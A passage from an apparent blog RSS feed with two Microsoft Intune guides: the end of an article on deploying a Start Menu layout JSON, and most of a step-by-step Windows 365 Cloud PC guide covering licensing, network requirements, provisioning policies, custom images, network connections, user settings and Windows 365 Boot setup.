<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">"packagedAppId"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  ]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more Information on Start Menu customization in this Microsoft Learn Article: <a href="https://learn.microsoft.com/en-us/windows/configuration/start/?pivots=windows-11" target="_blank" rel="noreferrer">Configure the Start menu</a>.</p>
</div>
<p><strong>Layout Modification Options</strong></p>
<table>
<thead>
<tr>
<th style="text-align:left">Key</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">packagedAppID</td>
<td style="text-align:left">Used for Universal Windows Platform (UWP) apps. To pin a UWP app, use the app's AUMID.</td>
</tr>
<tr>
<td style="text-align:left">desktopAppID</td>
<td style="text-align:left">Used for desktop apps. To pin a desktop app, use the app's AUMID. If the app doesn't have an AUMID, use the desktopAppLink instead.</td>
</tr>
<tr>
<td style="text-align:left">desktopAppLink</td>
<td style="text-align:left">Used for desktop apps that don't have an associated AUMID. To pin this type of app, use the path to the .lnk shortcut that points to the app.</td>
</tr>
<tr>
<td style="text-align:left">secondaryTile</td>
<td style="text-align:left">Used for Microsoft Edge pinned sites.</td>
</tr>
</tbody>
</table>
<h3 id="deploy-menu-layout-json" tabindex="-1">Deploy Menu Layout JSON <a class="header-anchor" href="#deploy-menu-layout-json" aria-label="Permalink to &quot;Deploy Menu Layout JSON&quot;">&ZeroWidthSpace;</a></h3>
<p>You'll find the setting for deploying the Start Menu Customisation in the Settings Catalog in Intune.<br>
When you're deploying the Start Menu JSON, you can import the file into Intune.</p>
<img src="\intune\taskbar_startmenu\intune_startmenu.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 0em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>Start Menu before:
<img src="\intune\taskbar_startmenu\Menu.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 0em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></p>
<p>Start Menu after (The user can`t remove the Start Menu items):
<img src="\intune\taskbar_startmenu\Menu_2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 0em; margin-bottom: 3em" alt="drawing" width="500" loading="lazy"/></p>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>You can't create multiple sections or customise the Start Menu in other ways like was possible in the past with the XML variant, unfortunately.</p>
</div>
<h3 id="conclusion-1" tabindex="-1">Conclusion <a class="header-anchor" href="#conclusion-1" aria-label="Permalink to &quot;Conclusion&quot;">&ZeroWidthSpace;</a></h3>
<p>If you follow the steps above, you can easily customise the Start Menu using the JSON file, making sure that users have a consistent experience.</p>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>You can find the JSON file I used <a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/27424d27a2a4bdab9adb3df176f9ead4dbaabe6f/Intune/Taskbar_and_StartMenu_Customization/LayoutModification.json" target="_blank" rel="noreferrer">here</a>.</p>
</div>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows 365 Configuration | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/win365.html</link>
            <guid>https://michaelsendpoint.com/intune/win365.html</guid>
            <pubDate>Mon, 29 Dec 2025 14:37:37 GMT</pubDate>
            <description><![CDATA[Guide to configuring, provisioning and managing Windows 365 Cloud PCs using Microsoft Intune, covering provisioning policies, custom images, network connections, settings and user experience.]]></description>
            <content:encoded><![CDATA[<img src="\intune\win365\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<h1 id="windows-365-configuration" tabindex="-1">Windows 365 Configuration <a class="header-anchor" href="#windows-365-configuration" aria-label="Permalink to &quot;Windows 365 Configuration&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p><strong>Windows 365</strong> is Microsoft’s <span style="color:crimson">cloud-based Desktop-as-a-Service</span> (DaaS) offering.
It provides fully managed virtual PCs hosted in the cloud, which users can access from any device with an internet connection.</p>
<p>To learn more about what a Cloud PC or Windows 365 is or how it compares to other DaaS solutions, look at this <a href="https://michaelsendpoint.com/virtualization/win365/cloud_pc.html" target="_blank" rel="noreferrer">article</a>.</p>
<p>In the <span style="color:crimson">following guide I will go trough the configuration, provisioning and user experience of Windows 365.</span></p>
<p>To use Windows 365 Business, you only need to buy the license and assign it to a user in the <strong>M365 Admin Center</strong> -&gt; <strong>Billing</strong> -&gt; <a href="https://admin.cloud.microsoft/#/licenses" target="_blank" rel="noreferrer">Licenses</a>.
You can not manage it and therefore no configuration of the Cloud PC itself is needed.</p>
<div class="info custom-block"><p class="custom-block-title">Network Requirements</p>
<p>The following URLs and Ports are needed to provision Cloud PCs and complete the Health Checks:</p>
<ul>
<li>*.infra.windows365.microsoft.com</li>
<li>*.cmdagent.trafficmanager.net</li>
</ul>
<p><strong>Registration Endpoints</strong></p>
<ul>
<li>login.microsoftonline.com</li>
<li>login.live.com</li>
<li>enterpriseregistration.windows.net</li>
<li>global.azure-devices-provisioning.net (Ports 443, 5671 outbound)</li>
<li>Various hm-iot-in-prod &amp; hm-iot-in-2/3/4-prod endpoints (Ports 443, 5671 outbound)</li>
</ul>
<p><strong>All endpoints use port 443 unless differnetly specified</strong></p>
<p><strong>Port 3389 is disabled by default on Windows 365 and is recommended to stay that way. Do not use this port to access the Cloud PC`s.</strong></p>
<hr>
<p>You can learn more about all current network requirement <a href="https://learn.microsoft.com/en-us/windows-365/enterprise/requirements-network?tabs=enterprise%2Cent" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="provisioning" tabindex="-1">📥 Provisioning <a class="header-anchor" href="#provisioning" aria-label="Permalink to &quot;:inbox_tray: Provisioning&quot;">&ZeroWidthSpace;</a></h2>
<p>Windows 365 Enterprise, Frontline, Reserve and Link are managed through the <a href="https://in.cmd.ms" target="_blank" rel="noreferrer">Intune admin center</a>.</p>
<p><span style="color:crimson">If you got no licenses in your tenant, you can not start with the configuration.</span></p>
<img src="\intune\win365\nolicense.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<ol>
<li>To start provisioning Licenses you first need to buy some or start a trial. You can do that by going to the <strong>Microsoft 365 admin center</strong> and select <a href="https://admin.cloud.microsoft/#/catalog" target="_blank" rel="noreferrer">Marketplace</a> or if this is not shown in your side panel you open <strong>Billing</strong> and select <a href="https://admin.cloud.microsoft/#/catalog" target="_blank" rel="noreferrer">Purchase services</a>. There you can just search for the Windows 365 product you want and get it as a purchase or trial.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\win365\Marketplace.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="200" loading="lazy"/></th>
<th><img src="\intune\win365\Purchase.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="200" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="2">
<li>Now that you got the license you can start with the provisioning. For that you open <strong>Billing</strong> and select <a href="https://admin.cloud.microsoft/#/licenses" target="_blank" rel="noreferrer">Licenses</a>.</li>
</ol>
<img src="\intune\win365\Licenses.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ol start="3">
<li>Click on the Windows 365 License in your list and select <code>+ Assign license</code> either in the <strong>Users</strong> or <strong>Groups</strong> tab and assign it to the identity you want to access the Cloud PC with.</li>
</ol>
<img src="\intune\win365\Licenses2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="600" loading="lazy"/>
<h2 id="configuration" tabindex="-1">⚙️ Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:gear: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<p>Prerequisites:</p>
<ul>
<ul>
<li>Access to the Intune admin portal</li>
<li>Entra roles: Global Administrator, Intune Administrator or Windows 365 Administrator</li>
</ul>
</ul>
<hr>
<p>To set up Windows 365, there are four configuration areas where you can define settings:</p>
<ul>
<ul>
<li><b>Provisioning policies:</b> Control how the Cloud PC is created and set up.</li>
<li><b>Custom images:</b> Create and use a custom Windows image from an Azure Image Gallery for new Cloud PCs.</li>
<li><b>Azure network connection:</b> Connect an Azure virtual network (VNet) for Cloud PC networking.</li>
<li><b>Settings:</b> Manage user-related settings for Cloud PCs.</li>
</ul>
</ul>
<p>In addition you should <span style="color:crimson">set up a device group</span> to better assign your policies.</p>
<ol>
<li>First you open the <strong>Intune admin portal</strong> -&gt; <strong>Devices</strong> -&gt; <strong>Device onboarding</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/Cloud%20PC" target="_blank" rel="noreferrer">Windows 365</a>, where you can see the Overview of the current Windows 365 status and get started.</li>
</ol>
<img src="\intune\win365\overview.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ol start="2">
<li>If you select the <strong>All Cloud PCs</strong> or <strong>All Cloud Apps</strong> tabs, you will get a list of all the current Cloud PCs and Remote Apps and there status.</li>
</ol>
<img src="\intune\win365\cloudPC.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<hr>
<h3 id="provisioning-policies" tabindex="-1">Provisioning policies <a class="header-anchor" href="#provisioning-policies" aria-label="Permalink to &quot;Provisioning policies&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>To create a provisioning policy you select the <strong>Provisioning policy</strong> tab and click <code>Create</code>.</li>
<li>On the first page you enter the policy name, description and select the Cloud PC experience and type you need.
<ul>
<li>Experience
<ul>
<li>Full Desktop</li>
<li>Remote App</li>
</ul>
</li>
<li>Type
<ul>
<li>Enterprise</li>
<li>Frontline</li>
<li>Reserve (So new it is not on the screenshot.)</li>
</ul>
</li>
</ul>
</li>
<li>Next you select the <strong>Join type details</strong>.
<ul>
<li>Join type
<ul>
<li>Entra Join</li>
<li>Hybrid Entra Join</li>
</ul>
</li>
<li>Network
<ul>
<li>Microsoft hosted network</li>
<li>Azure network connection</li>
</ul>
</li>
<li>Entra single sign-on</li>
</ul>
</li>
</ol>
<img src="\intune\win365\Provision1.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">Network connection</p>
<p>If you select <span style="color:crimson">Microsoft hosted network</span> Microsoft will take care of the needed Network architecture.
Additionally since December 2025 you can utilize a 3 tiered region level.</p>
<ul>
<li>Geography level (Level 1): Selects all regions in the whole Geography.</li>
<li>Region group level (Level 2): Selects a specipic supgroup of that Geography, for data boundary requirements for example.</li>
<li>Region level (Level 3): Selects a specific region.</li>
</ul>
<p>The Cloud PCs will then get provisioned only in the selected regions and you can also select your own custom selection of regions out of a Geography.
You can also set your Region selection to auto. That means Microsoft automatically spreads your devices through the Geography dependend on the best availability.
So that also means, if there is an outage in a Region your Cloud PCs will get automatically set up in another region, without you needing to do anything and new regions will automatically get utilized.</p>
<img src="\intune\win365\3tierregion.png" style="border:1px solid black;float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<p>If you select <span style="color:crimson">Azure network connection</span> Cloud PCs will use a prior set up Vnet from your Azure supscription that you connected through the <strong>Azure network connection</strong> tab.
With this you got the complete control over the network infrastructure and can connect Cloud PCs to your existing environment, without going through the internet.
<span style="color:crimson">This is mandatory for Hybrid Entra joined Cloud PCs.</span></p>
</div>
<p>If you select <strong>Frontline</strong> as <strong>License type</strong> you can additionally select if you want to utilize <strong>Dedicated</strong> or <strong>Shared</strong> mode.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Be aware that selecting <span style="color:crimson">Access only apps which run on a Cloud PC</span> always means you run <span style="color:crimson">Windows 365 Frontline in Shared mode</span>.</p>
<img src="\intune\win365\remoteapps.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
</div>
<ol start="4">
<li>Then you click <code>Next</code> and select the <strong>Image type</strong> on the next page.
You can select from a few Microsoft provided <span style="color:crimson">gallery images</span> or use a <span style="color:crimson">Custom image</span> you set up in the <strong>Custom image tab</strong>.</li>
</ol>
<img src="\intune\win365\Provision2.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
<ol start="5">
<li>Now click <code>Next</code> again and you get to the <strong>Configuration</strong> tab. Here you can set the following:
<ul>
<li>The <strong>Language</strong> the Cloud PC will use.</li>
<li>A possible custom <strong>device naming template</strong>.</li>
<li>If you want to use <strong>Autopilot device preperation</strong>. (This makes it easy to get the device directly set up the way you need it. With scripts and apps, ready for the user to log in.)</li>
<li>If you want to utilize <strong>Windows Autopatch</strong> to automate Windows updates on your Cloud PCs.</li>
</ul>
</li>
</ol>
<img src="\intune\win365\Provision3.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">Experience Sync</p>
<p>If you create a profile for a <span style="color:crimson">Windows 365 Frontline</span> Cloud PC in <span style="color:crimson">shared mode</span>, you can addtionally select the new <span style="color:crimson">Experience Sync</span> option.
This new Feature (November 2025) will act as a quasi FsLogix(<a href="https://learn.microsoft.com/en-us/fslogix/overview-what-is-fslogix" target="_blank" rel="noreferrer">What is FsLogix?</a>) for your Cloud PCs.
With this the <span style="color:crimson">Windows personalization, user settings, application settings and application data</span> will be saved between sessions. This provides a better user experience, despite <strong>Frontline shared mode</strong> resetting the Cloud PC after logoff.</p>
<p>You can activate it in the <strong>Configuration settings</strong> and set the amount of storage you want to give each user for that.</p>
<img src="\intune\win365\ExperienceSync.png" style="border:1px solid black;float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
</div>
<ol start="6">
<li>After the <strong>configuration</strong> you click <code>Next</code> again, enter your <strong>Scope tags</strong>, set the <strong>Assignment</strong> to the device group you created and then <code>Review + create</code> it.</li>
</ol>
<img src="\intune\win365\Provision.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<hr>
<h3 id="custom-images" tabindex="-1">Custom images <a class="header-anchor" href="#custom-images" aria-label="Permalink to &quot;Custom images&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>To add a custom image to Windows 365 you go to the <strong>Intune admin portal</strong> -&gt; <strong>Devices</strong> -&gt; <strong>Device onboarding</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/Cloud%20PC" target="_blank" rel="noreferrer">Windows 365</a>, where you can open the <strong>Custom images</strong> tab.</li>
</ol>
<img src="\intune\win365\Image2.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
<ol start="2">
<li>When you then click <code>Add</code>, a flyout window opens where you can select the following:
<ul>
<li>An <strong>image name</strong>.</li>
<li>The <strong>version</strong> of your image (So you can see which image is used here and used in which Cloud PC. This gives you a better understanding of your image lifecycle.)</li>
<li>The <strong>subscription</strong> where your image gallery is located.</li>
<li>The <strong>source image</strong> you want to use.</li>
</ul>
</li>
</ol>
<img src="\intune\win365\Image.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="200" loading="lazy"/>
<ol start="3">
<li>After that you just add the image.</li>
</ol>
<hr>
<h3 id="azure-network-connection" tabindex="-1">Azure network connection <a class="header-anchor" href="#azure-network-connection" aria-label="Permalink to &quot;Azure network connection&quot;">&ZeroWidthSpace;</a></h3>
<p>To add a custom network connection to your Cloud PC, you need to meet a few requirements.</p>
<p>Requirements for Entra joined Cloud PCs:</p>
<ul>
<li><strong>Azure Virtual Network:</strong> Must be in the same region as the Windows 365 desktops.</li>
<li><strong>Network Bandwidth:</strong> Make sure the network has enough bandwidth for your needs.</li>
<li><strong>Subnet and IP Address Space:</strong> A subnet in the VNet with enough available IP addresses.</li>
</ul>
<p>Additional requirements for Entra hybrid joined Cloud PCs:</p>
<ul>
<li><strong>DNS Resolution:</strong> The VNet must be able to resolve AD DNS records.</li>
<li><strong>Domain Controller Access:</strong> The VNet must have network connectivity to a domain controller.</li>
</ul>
<hr>
<ol>
<li>To add a custom network connection to Windows 365 you go to the <strong>Intune admin portal</strong> -&gt; <strong>Devices</strong> -&gt; <strong>Device onboarding</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/Cloud%20PC" target="_blank" rel="noreferrer">Windows 365</a> and open the <strong>Azure network connection</strong> tab.</li>
<li>Here you can use <code>+ Create</code> to add a network for Entra join or Entra hybrid join.</li>
</ol>
<img src="\intune\win365\network.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="600" loading="lazy"/>
<ol start="3">
<li>For an Entra join network you just enter a name and then select the VNet and Subnet from your existing subscriptions. For Entra hybrid join, you also need to add your domain info one tab later (The domain user needs to have the apropriate permissions to add devices).</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\win365\Network1.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/></th>
<th><img src="\intune\win365\networkhybrid1.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/><br><img src="\intune\win365\networkhybrid.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="4">
<li>After that you click <code>Next</code>, enter scope tags if needed and then create the connection.</li>
</ol>
<img src="\intune\win365\Network2.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<ol start="5">
<li>This will now trigger a connection check that can take a few minutes to complete, to check if your connection is legit.</li>
</ol>
<img src="\intune\win365\Network3.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<ol start="6">
<li>After the fact you can click on the <code>Status</code> and look at the checks that where performed. In the case of a failure, you can also find the problem in here.</li>
</ol>
<img src="\intune\win365\NetworkChecks.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can add up to 50 network connections to your Windows 365 environment.</p>
</div>
<hr>
<h3 id="settings" tabindex="-1">Settings <a class="header-anchor" href="#settings" aria-label="Permalink to &quot;Settings&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>To add settings to your Cloud PC you go to the <strong>Intune admin portal</strong> -&gt; <strong>Devices</strong> -&gt; <strong>Device onboarding</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/Cloud%20PC" target="_blank" rel="noreferrer">Windows 365</a> and open the <strong>Settings</strong> tab, where you can create <strong>Cloud PC configurations</strong> or <strong>User settings</strong>.</li>
</ol>
<img src="\intune\win365\settings.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="600" loading="lazy"/>
<p><u>Cloud PC configuration</u></p>
<p>In the <strong>Cloud PC configurations</strong> you can turn on <span style="color:crimson">Copilot + PC</span> AI features.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>This feature will be set after the initial propvisioning of the cloud PC and needs at least a &quot;8 vCPU / 32GB RAM / 256GB Storage&quot; Machine.</p>
<p>It will take around 48 hours to activate and <span style="color:crimson">needs the Windows Insider Program at the moment</span>. Learn more <a href="https://learn.microsoft.com/en-us/windows-365/enterprise/manage-ai-enabled-features" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<ol>
<li>Just add the <strong>Name</strong> and <strong>Description</strong> in the first tab, click <code>Next</code> and then in the <strong>Configuration settings</strong> tab, you enable the <span style="color:crimson">AI-enable features</span> setting.</li>
<li>After that click <code>Next</code> again, enter Scope tags you need, create the <span style="color:crimson">assignment to a group of users</span> and then <code>Review + create</code> the settings policy.</li>
</ol>
<img src="\intune\win365\settings1.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
<p>You will be able to verify if it worked in the <strong>Overview</strong> of your Cloud PC.</p>
<img src="\intune\win365\ai-enabled.png" style="border:1px solid black;float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/>
<p><u>User settings</u></p>
<p>In the <strong>User settings</strong> you set up the behavior of the users that sign-in to your Cloud PCs.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p><span style="color:crimson">These settings take effect at the moment of sign-in to the cloud PC. They have no effect on already signed-in users.</span></p>
<p>In addition, these settings have no effect on <strong>Frontline devies in shared mode</strong>.</p>
</div>
<ol>
<li>First enter the name of your settings policy and then, you can set the following settings:
<ul>
<li><strong>Enable local admin:</strong> Elevated user to local admin on the Cloud PC.</li>
<li><strong>Enable users to reset their Cloud PCs:</strong> Enables a reset option in the Windows App, that lets the user reset / wipe and reprovision the Cloud PC (delets all user data and apps).</li>
<li><strong>Allow user to initiate restore service:</strong> Allows the user to restore the Cloud PC to any available backup.</li>
<li><strong>Frequency of restore-point service:</strong> Sets the time gap between restore points (4, 6, 12, 16 or 24 hours).</li>
<li><strong>Cross region disaster recovery configuration:</strong> Lets you protect Cloud PCs during regional outages (needs an additional license). You can select: None, Disaster Recovery Plus or Cross Region Disaster Recovery (Learn more <a href="https://learn.microsoft.com/en-us/windows-365/enterprise/cross-region-disaster-recovery" target="_blank" rel="noreferrer">here</a>).</li>
</ul>
</li>
</ol>
<img src="\intune\win365\settings2.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="500" loading="lazy"/>
<ol start="2">
<li>After that click <code>Next</code>, create the <span style="color:crimson">assignment to a group of users</span> and then <code>Review + create</code> the user settings.</li>
</ol>
<img src="\intune\win365\settings5.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="600" loading="lazy"/>
<p><u>Windows App settings</u></p>
<p>The <strong>Windows App settings</strong> are a <span style="color:crimson">Preview feature</span> where you can set the behaviour of the Windows App or Windows web portal for your users (Learn more <a href="https://learn.microsoft.com/en-us/windows-365/enterprise/windows-app-settings" target="_blank" rel="noreferrer">here</a>).</p>
<ol>
<li>Like with the other settings you can enter a <strong>Name</strong> first and then on the second tab set the following settings:
<ul>
<li><strong>Enable users to reset their Cloud PCs:</strong> Enabling this shows the option for users to reprovision their Cloud PC.</li>
<li><strong>Allow users to initiate a Restore:</strong> Enabling this shows the option for users to initiate restores of their Cloud PC.</li>
</ul>
</li>
</ol>
<img src="\intune\win365\WindowsAppSettings.png" style="border:1px solid black;float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="200" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>These settings will override the User settings, if they conflict.</p>
</div>
<hr>
<h3 id="windows-365-boot" tabindex="-1">Windows 365 Boot <a class="header-anchor" href="#windows-365-boot" aria-label="Permalink to &quot;Windows 365 Boot&quot;">&ZeroWidthSpace;</a></h3>
<p><strong>Windows 365 Boot</strong> allows users to <span style="color:crimson">bypass the need to sign in to their physical device</span>, enabling them to sign in directly to their Windows 365 Cloud PC after boot.</p>
<div class="tip custom-block"><p class="custom-block-title">Authentication Methods</p>
<table>
<thead>
<tr>
<th>Authentication</th>
<th style="text-align:center">Dedicated mode supported</th>
<th style="text-align:center">Shared mode supported</th>
</tr>
</thead>
<tbody>
<tr>
<td>Username/password</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Windows Hello for Business</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>FIDO key</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Convenience pin</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
</tr>
</tbody>
</table>
</div>
<ol>
<li>You can start the guided setup directly from the Overview page in the <strong>Intune admin portal</strong> -&gt; <strong>Devices</strong> -&gt; <strong>Device onboarding</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/Cloud%20PC" target="_blank" rel="noreferrer">Windows 365</a>, where you find it at the bottom under <strong>Windows 365 Guides</strong> -&gt; <strong>Windows 365 Boot</strong>.</li>
</ol>
<img src="\intune\win365\overview.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ol start="2">
<li>The first page explains what Windows 365 Boot is and what will be configured in this profile. You just click <code>Next</code> to continue.</li>
</ol>
<img src="\intune\win365\Boot1.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<ol start="3">
<li>After that you come to the <strong>Basics</strong> tab, where you can set the following options:
<ul>
<li><strong>Device name template</strong></li>
<li><strong>Name</strong></li>
<li><strong>Description</strong></li>
<li><strong>Shared PC mode</strong> / <strong>Dedicated PC mode</strong></li>
</ul>
</li>
</ol>
<p>And you get the Information about the ressources this guided setup will create for you. Now click <code>Next</code> to continue.</p>
<img src="\intune\win365\Boot2.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<ol start="4">
<li>In the <strong>Endpoint updates</strong> tab you set up the update behavior of the physical device, you use to access the Cloud PC. After that click <code>Next</code> to continue.</li>
</ol>
<img src="\intune\win365\Boot3.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<ol start="5">
<li>In the <strong>Settings</strong> tab you can set up the following options:
<ul>
<li><strong>VPN profile</strong></li>
<li><strong>Wi-Fi profile</strong></li>
<li><strong>OS language</strong></li>
<li><strong>Security baseline</strong> (This is for the physical device, not the Cloud PC)</li>
<li><strong>Connection Timeout</strong></li>
<li><strong>Personalization</strong> (Shared PC mode only)
<ul>
<li><strong>Company name</strong></li>
<li><strong>Company logo URL</strong></li>
<li><strong>Lock screen Image URL</strong></li>
</ul>
</li>
</ul>
</li>
</ol>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>If you select a <span style="color:crimson">VPN or Wi-Fi profile</span> here, that is already <span style="color:crimson">assigned to <strong>all users</strong> or <strong>all devices</strong></span>, the guided setup will replace that assignment with the assignment from the guided setup.</p>
</div>
<table>
<thead>
<tr>
<th>Dedicated mode</th>
<th>Shared PC mode</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\win365\Boot4.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/></td>
<td><img src="\intune\win365\BootSharedsettings.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/></td>
</tr>
</tbody>
</table>
<ol start="6">
<li>If you then click <code>Next</code> you will come to the <strong>Assignments</strong> tab, where you can first choose a deivce group to assign the profile to and then decide if users (also which users) should still be able to access the local device or only the cloud PC.
To learn more about restricting access to the local device look <a href="https://learn.microsoft.com/en-us/windows-365/enterprise/windows-365-boot-restrict-user-access-physical-device" target="_blank" rel="noreferrer">here</a>.</li>
</ol>
<img src="\intune\win365\Boot5.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<ol start="7">
<li>When you now click <code>Next</code> again you come to the <strong>Review + create</strong> tab, where you will be informed again which ressources the guided setup will create.</li>
</ol>
<img src="\intune\win365\Boot6.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<ul>
<li><a href="https://go.microsoft.com/fwlink/?linkid=2230438" target="_blank" rel="noreferrer">Windows 365 App</a></li>
<li><a href="https://go.microsoft.com/fwlink/?linkid=2152694" target="_blank" rel="noreferrer">Windows 365 Boot Enrollment Status Page Profile</a></li>
